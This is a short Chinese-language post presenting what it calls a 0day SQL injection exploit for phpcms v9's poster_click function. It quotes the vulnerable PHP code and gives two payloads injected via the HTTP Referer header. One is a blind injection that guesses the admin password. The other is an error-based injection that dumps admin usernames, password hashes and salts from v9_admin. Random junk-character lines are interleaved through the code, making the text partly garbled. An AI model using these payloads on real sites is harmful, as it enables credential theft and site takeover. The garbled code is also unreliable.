phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
0 z: R7 o# t! _( m( _8 d
问题函数\phpcms\modules\poster\index.php
( w- g9 y7 z6 p7 k
7 `& i' N% f4 ~4 ipublic function poster_click() {
4 R! G  k: K) n( j$ d% }* \2 `$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
# N' n6 a+ {7 O# Q$ip_area = pc_base::load_sys_class('ip_area');
5 n7 M1 v1 L. Y- i; |6 v6 t; [$ip = ip();
$area = $ip_area->get($ip);
. a) e' X" N. b8 o2 M( _$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, l& O5 X3 T2 ]- X/ B/ F! ^if($id) {
, }5 \9 R* P: i6 J" \$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
) x1 s9 e# P* b* }}
( Z% i" g( S, T; |; f" T$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
; {% b& N3 C7 l! G2 @/ ^8 B' ^} else {
9 Y8 `6 f5 h" R" d( h& o' a5 P$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}
1 @" ~3 h/ T4 _
& X0 u# A; k3 H7 j( K

1 W! ~$ W3 X; J1 B6 r利用方式：
4 W6 a- U  l, @! f
2 a: H/ T8 N# L1 `- |% S; G1、可以采用盲注入的手法：
  ?2 Y9 \8 L8 i: h, s
2 o% j  t' V* }1 ?# `referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

: G/ b6 s7 _. @通过返回页面，正常与否一个个猜解密码字段。

- U4 s! D$ C4 ^. u2、代码是花开写的，随手附上了：

; p* N: T7 s1 {* Y1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

( t! {8 V/ V! d, S% x6 u4 s此方法是爆错注入手法，原理自查。
